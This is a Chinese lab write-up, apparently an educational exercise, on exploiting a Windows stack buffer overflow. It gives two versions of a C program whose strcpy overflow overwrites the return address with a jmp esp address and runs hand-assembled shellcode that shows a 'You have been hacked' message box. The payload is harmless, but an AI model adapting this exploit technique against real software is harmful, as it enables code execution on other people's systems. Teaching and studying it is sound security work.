系统相关
首页 > 系统相关> > 缓冲区溢出利用与ShellCode编写

缓冲区溢出利用与ShellCode编写

作者:互联网

一、实验目的

  1. 熟悉编写shellCode的流程
  2. 掌握缓冲区溢出的利用

二、实验环境

  1. 系统环境:Windows环境
  2. 软件环境:C++ ,缓冲区溢出文件链接

三、实验原理

  1. 要实施一次有效的缓冲区溢出攻击,攻击者必须完成如下任务:
    (1)在程序的地址空间里植入适当的代码(称为shellcode)用于完成获取系统控制权等非法任务。
    (2)通过修改寄存器或内存,让程序执行流跳转到攻击者植入的shellcode地址空间执行。
  2. 在具体实现时,我们通过三个步骤完成缓冲区溢出:
    (1).精确查找返回地址的位置
    (2).查找一个适合的地址用于覆盖原始地址
    (3).编写shellcode到对应的缓冲区
    (4).编写shellcode弹出攻击对话框

四、实验步骤

#include "string.h"
#include "stdio.h"
#include "windows.h"	
char name[] = "ABCDEFGH"
			"IJKL"
			"\xb3\x00\x00\x00"//填入获取的jmp esp指令地址
			"\x33\xDB" //xor ebx,ebx
			"\x53"     //push ebx  				
			"\x68\x69\x6E\x67\x20"//push 0x20676e69
			"\x68\x57\x61\x72\x6E"//push 0x6e726157				
			"\x8B\xC4"  //mov eax,esp
			"\x53"  //push ebx
			"\x68\x21\x20\x20\x20"//push 0x20202021
			"\x68\x63\x6b\x65\x64"//push 0x64656b63
			"\x68\x6e\x20\x68\x61"//push 0x6168206e
			"\x68\x20\x62\x65\x65"//push 0x65656220
                        "\x68\x68\x61\x76\x65"//push 0x65766168
			"\x68\x59\x6f\x75\x20"//push 0x20756f59
			"\x8B\xCC" //mov ecx,esp
			"\x53"//push ebx
			"\x50"//push eax
			"\x51"//push ecx
			"\x53"//push ebx
			"\xb8\x00\x00\x00\x00"//MessageBoxA地址赋给eax
			"\xFF\xD0" //call eax
			"\x53" //push ebx
			"\xb8\x00\x00\x00\x00" //将之前实验获取的ExitProcess函数的地址赋给eax
			"\xFF\xD0"; //call eax;

	int main()
	{
		char buffer[8];
		LoadLibrary("user32.dll");
		strcpy(buffer,name);
		printf("%s\n",buffer);
		getchar();
		return 0;
	}
#include "string.h"
#include "stdio.h"
#include "windows.h"	
char name[] = "ABCDEFGH"
			"IJKL"
			"\xb3\xa0\xa0\x75"//填入获取的jmp esp指令地址
			"\x33\xDB" //xor ebx,ebx
			"\x53"     //push ebx  				
			"\x68\x69\x6E\x67\x20"//push 0x20676e69
			"\x68\x57\x61\x72\x6E"//push 0x6e726157				
			"\x8B\xC4"  //mov eax,esp
			"\x53"  //push ebx
			"\x68\x21\x20\x20\x20"//push 0x20202021
			"\x68\x63\x6b\x65\x64"//push 0x64656b63
			"\x68\x6e\x20\x68\x61"//push 0x6168206e
			"\x68\x20\x62\x65\x65"//push 0x65656220
                        "\x68\x68\x61\x76\x65"//push 0x65766168
			"\x68\x59\x6f\x75\x20"//push 0x20756f59
			"\x8B\xCC" //mov ecx,esp
			"\x53"//push ebx
			"\x50"//push eax
			"\x51"//push ecx
			"\x53"//push ebx
			"\xb8\x11\xea\x9a\x75"//MessageBoxA地址赋给eax
			"\xFF\xD0" //call eax
			"\x53" //push ebx
			"\xb8\x4F\x21\xe0\x76" //将之前实验获取的ExitProcess函数的地址赋给eax
			"\xFF\xD0"; //call eax;

	int main()
	{
		char buffer[8];
		LoadLibrary("user32.dll");
		strcpy(buffer,name);
		printf("%s\n",buffer);
		getchar();
		return 0;
	}

标签:x68,esp,ebx,push,地址,缓冲区,ShellCode,x20,溢出
来源: https://www.cnblogs.com/zovt/p/15396237.html